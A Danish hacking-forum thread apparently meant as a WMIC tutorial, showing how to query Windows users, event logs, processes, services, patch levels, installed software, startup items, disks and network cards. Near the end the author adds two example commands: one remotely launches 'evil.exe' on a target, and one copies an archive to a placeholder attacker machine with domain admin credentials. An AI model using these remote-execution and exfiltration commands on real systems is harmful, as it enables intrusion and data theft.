Tråd bedømmelse:
  • 2 Stemmer - 5 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
WMI - Windows Management Instrumentation - Et par eksempler
24-05-2015, 19:40 (Denne besked var sidst ændret: 25-05-2015, 16:27 af iTick.)
#1
WMI - Windows Management Instrumentation - Et par eksempler
Her er en lille "Få blod på tanden" - intro til WMI. Det er et kanon godt værktøj, til at administrere Windows med.
Jeg er ikke selv god til det, så det er også lidt en "note-to-selv".

WMIC er WMI command & scripting værktøj, der man mere end lidt af hvert. Uden at vide det, tror jeg det er meget overset, lige som Powershell og VBScripting. Det er selvfølgelig også interessant, hvis man får en shell på en windows maskine.

Arbejde med brugere:
Jeg opretter først en bruger ned "net", for at have noget at arbejde med. Det kan sikkert gøres med WMI også.
Citer:C:\Windows\system32>net user hacker hacker /comment:"Test user" /add
Kommandoen blev udført.

C:\Windows\system32>net users

Brugerkonti for \\ASUS

-------------------------------------------------------------------------------
Administrator Gæst hacker
xxxx UpdatusUser
Kommandoen blev udført.

C:\Windows\system32>

C:\Windows\system32>wmic /node:127.0.0.1 USERACCOUNT WHERE Name="hacker" GET Description
Description
Test user

C:\Windows\system32>

Man kan også se, hvad man kan vælge at se, ud over Description, ved at bruge et wildcard:
Citer:C:>wmic /node:127.0.0.1 USERACCOUNT WHERE Name="hacker" GET *

Outputtet kan være lidt rodet, så man kan sætte en formatering på:
Citer:C:\>wmic /node:127.0.0.1 USERACCOUNT WHERE Name="hacker" GET * /Format:list

AccountType=512
Caption=asus\hacker
Description=Test user
Disabled=FALSE
Domain=asus
FullName=
InstallDate=
LocalAccount=TRUE
Lockout=FALSE
Name=hacker
PasswordChangeable=TRUE
PasswordExpires=TRUE
PasswordRequired=TRUE
SID=S-1-5-21-3146295476-1160783222-2073417647-1006
SIDType=1
Status=OK

C:\>

Man kan faktisk fjerne "/node:<ip>", men en af de smarte ting er, at man kan requeste disse informationer over lokalneværket.
Citer:C:>wmic USERACCOUNT WHERE Name="hacker" GET * /Format:list

En remote request ville se således ud:
Citer:C:>wmic /user:administrator /password:<admin password> /node:10.0.0.2 USERACCOUNT WHERE Name="hacker" GET *

Hvis man ønsker at se alle brugere, kan man bruge følgende:
Citer:C:\>wmic Useraccount GET /ALL /Format:list
AccountType=512
Caption=asus\xxxx
Description=
Disabled=FALSE
Domain=asus
FullName=
InstallDate=
LocalAccount=TRUE
Lockout=FALSE
Name=mian
PasswordChangeable=TRUE
PasswordExpires=FALSE
PasswordRequired=FALSE
SID=S-1-5-21-3146295476-1160783222-2073417647-1001
SIDType=1
Status=OK

AccountType=512
Caption=asus\UpdatusUser
Description=Brugt til at give NVIDIA-softwareopdateringer
Disabled=FALSE
Domain=asus
FullName=UpdatusUser
InstallDate=
LocalAccount=TRUE
Lockout=FALSE
Name=UpdatusUser
PasswordChangeable=TRUE
PasswordExpires=FALSE
PasswordRequired=TRUE
SID=S-1-5-21-3146295476-1160783222-2073417647-1004
SIDType=1
Status=OK

C:\>

Den bruger vi lavede før, kan slettes med:
Citer:C:\Windows\system32>net user hacker /del
Kommandoen blev udført.

C:\Windows\system32>


Hvis man vil undersøge Eventloggen, kan man også det.
Vi kan først lige lave et Informations-event under Applications:
Citer:C:\Windows\system32>eventcreate /t information /l application /id 925 /d "Some Description"

LYKKEDES: Der blev oprettet en hændelse af typen 'information' i logfilen 'application' med 'EventCreate' som kilde.

C:\Windows\system32>

Det kan så undersøges med WMI med følgende: (Ja, det tager bare lang tid)
Citer:C:\Windows\system32>wmic /node:127.0.0.1 NTEVENT WHERE EventIdentifier=925 GET Message
Message
Some Description

C:\Windows\system32>

Her kan man selvfølgelig også bruge * som wildcard, i stedet for Message, for at se alle felter. Yderligere kan man tilføje et output format:
Citer:C:\>wmic NTEVENT WHERE EventIdentifier=925 GET * /Format:list

Category=0
CategoryString=
ComputerName=asus
Data=
EventCode=925
EventIdentifier=925
EventType=3
InsertionStrings={"Some Description"}
Logfile=Application
Message=Some Description
RecordNumber=2916083
SourceName=EventCreate
TimeGenerated=20150524163323.000000-000
TimeWritten=20150524163323.000000-000
Type=Oplysninger
User=asus\mian

C:\>

Over netværk, ville det se således ud:
Citer:wmic /user:administrator /password:<admin passowrd> /node:<ip> NTEVENT WHERE EventIdentifier=925 Get * /Format:list

Man kan også lave sub-queries:
Citer:C:\>wmic process WHERE (Caption="svchost.exe" AND ThreadCount=10) GET * /format:list

Caption=svchost.exe
CommandLine=C:\Windows\system32\svchost.exe -k DcomLaunch
CreationClassName=Win32_Process
CreationDate=20150521153146.471614+120
CSCreationClassName=Win32_ComputerSystem
CSName=ASUS
Description=svchost.exe
ExecutablePath=C:\Windows\system32\svchost.exe
ExecutionState=
Handle=828
HandleCount=416
InstallDate=
KernelModeTime=311533997
MaximumWorkingSetSize=1380
MinimumWorkingSetSize=200
Name=svchost.exe
OSCreationClassName=Win32_OperatingSystem
...

Som i kan se, får man hurtigt rigtig meget output. Man kan så vælge at sende output til en fil, i et bestemt format, ved hjælp af "/Format:" og "/output:".
Nedenstående smider outputtet i filen svc.html, og som i kan se ud af /format:, så ER indholdet faktisk i html format.
Citer:C:>wmic /output:svc.html process where (Caption="svchost.exe" AND ThreadCount=10) get * /format:hform
Output filen kan så åbnes i din favorit browser med "file:///C:/svc.html".

Man kan også se maskinens patchlevel:
Citer:C:\>wmic qfe GET description,installedOn /format:list
...
Description=Service Pack
InstalledOn=2/18/2011

Description=Update
InstalledOn=9/19/2014

C:\>

Hvis man synes det er bedre, kan man sende dette output ud på skærmen i cvs format:
Citer:C:\>wmic qfe GET description,installedOn /format:csv

Node,Description,InstalledOn
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Update,9/19/2014
ASUS,Security Update,3/31/2011
ASUS,Security Update,3/31/2011
ASUS,Security Update,3/31/2011
...

Eller evt. til en fil, med argumentet "/Output", som vi så før.

Vil man se udvalgte informationer om operativsystems processer, kan man prøve følgende:
Citer:C:\>wmic Process GET caption,executablepath,commandline /Format:list
...
Caption=SearchFilterHost.exe
CommandLine="C:\Windows\system32\SearchFilterHost.exe" 0 524 528 536 65536 532
ExecutablePath=C:\Windows\system32\SearchFilterHost.exe

Caption=WmiPrvSE.exe
CommandLine=C:\Windows\system32\wbem\wmiprvse.exe
ExecutablePath=C:\Windows\system32\wbem\wmiprvse.exe

Caption=WMIC.exe
CommandLine=wmic Process GET caption,executablepath,commandline /Format:list
ExecutablePath=C:\Windows\System32\Wbem\WMIC.exe

C:\>

Som altid, kan man se de felter man ønsker. Hvis man vil se det hele, kan man bruge * som et wildcard.

Man kan også se services med WMI. Her ses den fulde sti til den ekesekverbare fil:
Citer:C:\Windows\system32>wmic.exe service GET pathname
PathName
"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
C:\Windows\system32\svchost.exe -k netsvcs
"C:\Windows\system32\FBAgent.exe"
C:\Windows\System32\alg.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
...

Man kan også se alle services, formateret i en liste:
Citer:C:\>wmic.exe service GET * /Format:list
...
AcceptPause=FALSE
AcceptStop=FALSE
Caption=WWAN AutoConfig
CheckPoint=0
CreationClassName=Win32_Service
Description=Denne tjeneste administrerer datakort eller integrerede modulkort for mobile bredbånd (GSM &amp; CDMA) og forbindelser ved at konfigurere netværket a
utomatisk. Det anbefales på det kraftigste, at denne tjeneste bliver ved med at køre for at opnå den bedste brugeroplevelse i forbindelse med mobile bredbåndsenh
eder.
DesktopInteract=FALSE
DisplayName=WWAN AutoConfig
ErrorControl=Normal
ExitCode=1077
InstallDate=
Name=WwanSvc
PathName=C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
ProcessId=0
ServiceSpecificExitCode=0
ServiceType=Share Process
Started=FALSE
StartMode=Manual
StartName=NT Authority\LocalService
State=Stopped
Status=OK
SystemCreationClassName=Win32_ComputerSystem
SystemName=ASUS
TagId=0
WaitHint=0
...

Her ses et udvalg af kolonner, formateret som en tabel:
Citer:C:\Windows\system32>wmic.exe service GET ProcessId,Caption /Format:table
Caption ProcessId
Adobe Acrobat Update Service 1860
Application Experience 0
AFBAgent 1224
Gatewaytjeneste til programlaget 0
Program-id 0
Programoplysninger 548
...

Man kan også starte nye processer. Ser ses, hvordan ping startes. Selve outputtet vil poppe op i et nyt kommandoprompt vindue:
Citer:C:\>wmic.exe process call create "ping -t google.dk"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 10476;
ReturnValue = 0;
};

C:\>

Så man man overveje hvad man kan bruge følgende til:
Citer:C:>wmic /NODE:<ip> process CALL create “evil.exe”

Eller måske:
Citer:C:>wmic /NODE:<ip> /user:”Domain\Administrator” /password:<password> process CALL create “xcopy “C:\\everything.rar” “\\<hacker winbox>\\C$\\everything.rar”

Man kan også se hvad for noget software, der er installeret på maskinen:

Citer:C:\Windows\system32>wmic product list brief
...
Java Auto Updater {4A03706F-666A-4037-7777-5F2748764D10} Java Auto Updater
Oracle Corporation 2.8.45.14
Cisco Systems VPN Client 5.0.07.0440 {5FDC06BF-3D3D-4367-8FFB-4FAFCB61972D} Cisco Systems VPN Client 5.0.07.0440
Cisco Systems, Inc. 5.0.7
ASUS Power4Gear Hybrid {9B6239BF-4E85-4590-8D72-51E30DB1A9AA} ASUS Power4Gear Hybrid
ASUS 1.1.44
SDFormatter {179324FF-7B16-4BA8-9836-055CAAEE4F08} SDFormatter
SD Association 4.0.0


C:\Windows\system32>

Eller de ting, der starter automatisk på maskinen:
Citer:C:\Windows\system32>wmic startup list brief
Caption Command User
Sidebar %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun NT AUTHORITY\LOKAL TJENESTE
Sidebar %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun NT AUTHORITY\NETVÆRKSTJENESTE
TeraTerm Menu TeraTerm Menu.lnk asus\xxxx
...
IgfxTray "C:\Windows\system32\igfxtray.exe" Public
HotKeysCmds "C:\Windows\system32\hkcmd.exe" Public
Persistence "C:\Windows\system32\igfxpers.exe" Public
iTunesHelper "C:\Program Files\iTunes\iTunesHelper.exe" Public

C:\Windows\system32>

Oversigt over partitioner:
Citer:C:\Windows\system32>wmic partition get name,bootable,size,type
Bootable Name Size Type
FALSE Disk #0, Partition #0 26842497024 Installable File System
TRUE Disk #0, Partition #1 223213707264 Installable File System

C:\Windows\system32>

Oversigt over diskdrev:
Citer:C:\Windows\system32>wmic diskdrive get name,size,model
Model Name Size
Samsung SSD 840 Series \\.\PHYSICALDRIVE0 250056737280

C:\Windows\system32>

Informationer om netkort:
Citer:C:\Windows\system32>wmic nic get macaddress,description
Description MACAddress
WAN Miniport (SSTP)
WAN Miniport (IKEv2)
WAN Miniport (L2TP)
WAN Miniport (PPTP)
WAN Miniport (PPPOE)
WAN Miniport (IPv6)
WAN Miniport (Network Monitor)
Qualcomm Atheros AR9002WB-1NG Wireless Network Adapter 74:2F:68:9C:7A:30
WAN Miniport (IP)
VirtualBox Host-Only Ethernet Adapter 08:00:27:00:70:E1
RAS Async Adapter
Apple Mobile Device Ethernet
VirtualBox Bridged Networking Driver Miniport
Microsoft ISATAP-netværkskort
Atheros AR8151 PCI-E Gigabit Ethernet Controller (NDIS 6.20) 14:DA:E9:C4:9F:21
Deterministic Network Enhancer Miniport
Microsoft Teredo Tunneling-adapter
...
Deterministic Network Enhancer Miniport 12:8C:20:52:41:53
Cisco Systems VPN Adapter for 64-bit Windows
Deterministic Network Enhancer Miniport
VirtualBox Bridged Networking Driver Miniport 14:DA:E9:C4:9F:21
VirtualBox Bridged Networking Driver Miniport 74:2F:68:9C:7A:30
Microsoft ISATAP-netværkskort

C:\Windows\system32>

Man kan også bruge WMIs prompt, ved at skrive "wmic" uden noget andet.
Citer:C:\Windows\System32>wmic
wmic:root\cli>partition get name,bootable,size,type
Bootable Name Size Type
FALSE Disk #0, Partition #0 26842497024 Installable File System
TRUE Disk #0, Partition #1 223213707264 Installable File System

wmic:root\cli>exit

C:\Windows\System32>



Links:
http://en.wikipedia.org/wiki/Windows_Man...umentation
---
Writing a shellcode decoder stub in assembly is like talking gibberish in such a way that it is still perfectly intelligible. - iTick
Besøg denne brugers hjemmeside Find alle beskeder fra denne bruger
Citer denne besked i et svar
24-05-2015, 20:44
#2
RE: WMI Windows Management Instrumentation - Et par eksempler
Yes wmic kan bruges til en masse godt. Kunne godt være man kunne bruge den noget mere i forbindelse med scripting end jeg gør.

Btw. Mens vi er ved windows scripting, tror du vil kunne lide denne:
http://blakhal0.blogspot.dk/2015/03/wind...s.html?m=1
Don't learn to hack, hack to learn
Find alle beskeder fra denne bruger
Citer denne besked i et svar
24-05-2015, 20:53
#3
RE: WMI - Windows Management Instrumentation - Et par eksempler
(24-05-2015, 20:44)Spagnum Skrev: Btw. Mens vi er ved windows scripting, tror du vil kunne lide denne:
http://blakhal0.blogspot.dk/2015/03/wind...s.html?m=1

Hehe, nice. Det har jeg ikke set før. Det skal jeg helt sikkert lege med. :)
---
Writing a shellcode decoder stub in assembly is like talking gibberish in such a way that it is still perfectly intelligible. - iTick
Besøg denne brugers hjemmeside Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)